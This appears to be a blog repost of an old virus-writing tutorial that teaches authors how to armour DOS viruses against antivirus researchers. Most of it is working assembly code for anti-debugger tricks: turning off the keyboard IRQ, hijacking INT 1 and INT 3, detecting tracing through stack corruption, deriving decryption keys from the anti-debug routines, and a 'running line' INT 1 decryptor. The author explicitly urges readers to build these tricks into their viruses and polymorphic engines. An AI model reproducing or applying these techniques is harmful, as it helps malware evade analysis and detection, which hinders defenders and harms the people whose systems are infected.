-THE-MASTER-HIDES-BEHIND-THE-MASK-
Ok, now the AV can not even get your virus to infect their bait
files, and if they do finally manage, they will have great problems in
getting a complete, accurate view of what they are dealing with.
--By Sibidharan
There is two things they can do:
- Disassemble your Anti-Bait code, and create a Bait maker to fool it.
- Disassemble your Polymorphic engine, and work out what to look for.
Both of the above can be defeated by using Anti-Debugger Techniques. The first is defeated by keeping your Anti - Bait routines encrypted, and heavilly armoured, to prevent disassembly. The second can be defeated by using the same methods on your polymorphic engine. This section has been designed to tell you how to do it.
Anti-Debugger Techniques: The Obvious
There are many simple and trivial ways to thwart debuggers. This
document will deal mainly with more advanced methods. The simple methods
outlined in this section can be seen in the code example of "Using Your
Anti-Debug Routines as the Decryption Key", later on in this document.
Perhaps the most obvious way to kill a debugger, is to overwrite
the Interrupt Vector of Interrupts 1 (Debug Single Step), and 3 (Debug
Break Point). This can be defeated by simply skipping the instructions.
Another thing you could do, is place an INT 3 in a long loop, which will
cause the debugger to stop at the INT 3 each iteration, which will stop
the AV from simply proceeding through the loop. This is very easilly
defeated by NOP'ing out the INT 3.
Another thing to do, is turn off the keyboard. There are manyways
to do this, but the simplest is:
IN AL,20h ;Turn of Keyboard IRQ
OR AL,
OUT AL,20
<virus code>
IN AL,20 ;Enable Keyboard IRQ
AND AL,NOT 2
OUT AL,20
Anti-Debugger Techniques: Interrupt Replacement
This technique involves replacing the vector of a INTERRUPT 1/3
with the interrupt off another interrupt, and calling that instead. This
works especially well with INT 3, as it is only 1 byte long, and can not
simply be replaced with the proper Interrupt. Here is an example of INT
replacement from the virus [H8urNMEs]. It changes INT 3 to point to the
tunneled INT 21, and calls INT 3 for all DOS requests:
mov ax,3503
int 21
mov int_3_seg,es
mov int_3_off,bx
lds dx, site_traced_off
mov ax,2503
int 21
mov ds,cs
mov ax,3524
int 3
mov int_24_seg,es
mov int_24_off,bx
It simply makes INT 3 point to DOS, and uses this fact to fetch
the INT 24 vector.
Anti-Debugger Techniques: INT 1 Tracing Destroys the Stack
When tracing through code, with INT 1, the 6 bytes below SP areoverwritten with the pushed returnig IP, CS, and Flags. There are 2 ways
to take advantage of this fact. The first is to PUSH a value on to the
stack, POP it, and then adjust SP and POP it again to see if it changes.
If it has, the code has been traced. Here is an example:
PUSH AX
POP AX
DEC SP
DEC SP
POP BX ;BX should point to the pushed AX.
CMP AX,BX
JNE CODE_IS_TRACED
The second way is to store a critigal value like a Decryption
key in SP. This value should also point to the code, and you should NOT
use any stack operations. This way, if a debugger is running, the code
that SP points to will be overwritten. Here is a complete program to
illustrate it. To make it run properly, you must have to encrypt it. I
will not how you how.. If you can not work it out you should not even be
reading this. It also has the added advantage of avoiding the TBAV '#'
(decryptor) flag. Any way here it is:
;STACK.ASM
radix 16
elength equ (end - estart)/2
org 100
mov bp,sp
cli
mov sp,estart
sti
mov bx,sp
mov cx,elength
eloop: xor cs:[bx],sp ;SP is decryption key.
inc bx
inc bx ;If a Debugger is running,
cli ;All the code after ESTART will be
add sp,6 ;overwritten.
sti
loop eloop
estart:
cli
mov sp,bp
sti
mov ah,9
mov dx,offset msg - 12
add dx,12
int 21
mov ah,4c
int 21
msg db 'Yeah!!$'
end:
Anti-Debugger Techniques: Use Your Anti-Debug Routines as The Decrypt Key
This is a lot easier to do then it sounds. Basically, all you haveto do is retreive a byte from the Anti - Debugger routines each time, and
use it to modify your decryption routine in some manor. Of course the code
you are decrypting must have been encrypted in a corresponding manner! Any
way, here is a code fragment example:
;This code LODSBs a byte from the Anti-Debug routine, on each iteration,
;and ADDs it to the XOR key. Because of this the AV can not simply NOP
;out the INT 3, and other traps in the Anti-Debug routine which is called
;on each iteration! DEC_START is assumed to be the offset of the start of
;the encrypted code, while DEC_LENGTH is the number of bytes to decrypt.
mov dl,0aa ;initial key.
decrypt: mov di,offset dec_start
mov cx,dec_length
mov si,offset decrypt ;offset of code to use
;to modify decryption key.
dec_loop: lodsb ;AL=byte from anti-debug
;routines
add dl,al ;MODIFY KEY. If code has been
;modified, the key will be
;wrong.
xor [di],dl ;decrypt
inc di
call anti_debug ;kill debuggers.
;this call cant be NOP'd out,
;as it is part of the Decrypt
;key.
cmp si,offset end_ad ;if SI has reached end of
jne no_fix ;anti-debug code, reset it.
mov si,offset decrypt
no_fix: loop dec_loop
jmp dec_start ;JMP past Anti_Debug to
;the newly decrypted code..
Anti_Debug: in al,20 ;get IRQ status.
or al,2 ;Disable IRQ 1 (keyboard)
out 20,al
int 3 ;stop the debugger on each loop (you cant
int 3 ;NOP these out!), note that when the debugger
;stops here, the keyboard will be disabled,
;so the can't do any thing!
push ax
push ds
xor ax,ax
mov ds,ax
xchg ax,[4] ;Kill INT 1
int 3 ;Fuck with their heads
xchg ax,[4] ;restore INT 1
pop ds
mov ax,offset ad_jmp ;destination of JMP
push ax
pop ax
dec ax
dec ax ;if this code was traced, AX will no longer
pop ax ;be equal to the JMP destination
jmp ax
pop ax
ret
(BELOW CODE IS ENCRYPTED)
dec_start: in al,20
and al,NOT 2
out 20,al ;Re-Enable Key board..
<REST OF VIRUS CODE>
Anti-Debugger Techniques: The Running Line
The last method, I am going to illustrate, is called the RunningLine. It is VERY resistant to debuggers. It involves hooking INT 1, and
Decrypting each instruction _JUST BEFORE_ it's run, and Re-Encrypting it
_STRAIGH AFTER_ it has been executed. This way, only _1_ instruction at
a time is decrypted in memory. Here is a fully working example.
;RUNLINE.ASM
radix 16
org 100
xor ax,ax ;ax=0
mov es,ax ;es=ax=0
mov di,es:W[4]
mov si,es:W[6] ;save int 1 vector
mov es:W[4],offset tracer
mov es:W[6],cs ;int1 = cs:tracer
mov bp,sp
pushf
or B[bp-1],1 ;set TRACE flag
popf ;set it
xor dx,dx ;this serves no purpose, and
;is just here because the first
;instruction after setting the
;flag is not traced.
;**********************************************************************
;** The below data, is the Encrypted instructions. The INT 1 handler **
;** only decrypts instruction on WORD (EVEN) boundaries. It XORs the **
;** instruction (WORD) with its offset in CS (ie. it's IP when it's **
;** run). Thats why each word is XOR'd with $ (it's position). **
;**********************************************************************
dw 01f0e XOR $ ;PUSH CS / POP DS
dw 009b4 XOR $ ;MOV AH,9h
dw 0ba90 XOR $ ;NOP / MOV DX,
dw offset msg ;offset msg
dw 021cd XOR $ ;INT 21h
dw 0e589 XOR $ ;MOV BP,SP
dw 06680 XOR $ ;AND B[BP+,
dw 0feff ;FF],FE (turn off TRACE flag).
last_enc equ $
dw 0bb9d XOR $ ;POPF / MOV BX,
dw last_enc ;LAST_ENC
xor cs:W[bx],bx ;re-encrypt last instruction..
mov es:W[4],di
mov es:W[6],si ;restore int 1 vector
mov ah,4c
int 21
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;THINGS TO NOTE FROM THE ABOVE: Firstly, in the instructions
; NOP
; MOV DX,OFFSET MSG
;the MOV DX opcode is on an odd boundary, and hence, the decryptor will
;not decrypt it. Secondly the 'DW OFFSET MSG' in MOV DX,OFFSET MSG
;is not encrypted, because it it is data from another instruction, and
;therefore it will never be executed, and passed to the INT 1 handler.
;The same goes for the +FF(-1),FE in the AND B[BP-1],FE.
;**********************************************************************
;** The following procedure, is the work horse of this code. The CPU**
;** will call this INT 1 handler before each opcode as long as the**
;** TRACE flag is set. Unlike most INT 1 handlers that you'll see in**
;** virii, this contains no defensive traps. This is because we are**
;** tracing our own code, and not unknown (possibly hostile) code.**
;** It retrieves the calling IP from the stack, and if it is odd, **
;** exits. If even, it will re-encrypt the previous instruction, and**
;** decrypt the current one. It saves the calling IP, so that it can**
;** re-encrypt it when it is called for the next instruction. **
;**********************************************************************
tracer:
push bp ;save BP
mov bp,sp ;BP=SP for reference point of stack.
push si ;save SI
mov bp,W[bp+2] ;BP = calling IP (position of
;encrypted instruction).
test bp,1 ;check if on an odd boundry..
jnz is_odd ;it is so leave.
mov si,cs:last ;else get the position of the last
;decrypted instruction to reincrypt.
mov cs:last,bp ;save current position for next time.
xor cs:W[si],si ;re-encrypt last (XOR it with its IP)
xor cs:W[bp],bp ;decrypt current (XOR it with its IP)
is_odd:
pop si ;restore SI
pop bp ;restore BP
iret ;adeos!
last dw 0 ;last IP for re-encrpytion..
msg db 'Yeah!!$' ;EVERYBODY SAY YEAH!!!!
CONCLUSION
-TAUGHT-WHEN-WE-ARE-YOUNG-TO-HATE-ONE-ANOTHER-
I STRONGLY urge you to employ the above techniques in your viriiand/or poly engine. If your virus refuses to infect bait files, is VERY
heavilly armoured, so the can not decrypt it, and dissasemble it, and
mutates so slowly, and on such obscure conditions, HOW ARE THEY GOING TO
IT? Devising an algorith for such a virus would be _VERY_ difficult.
No comments:
Post a Comment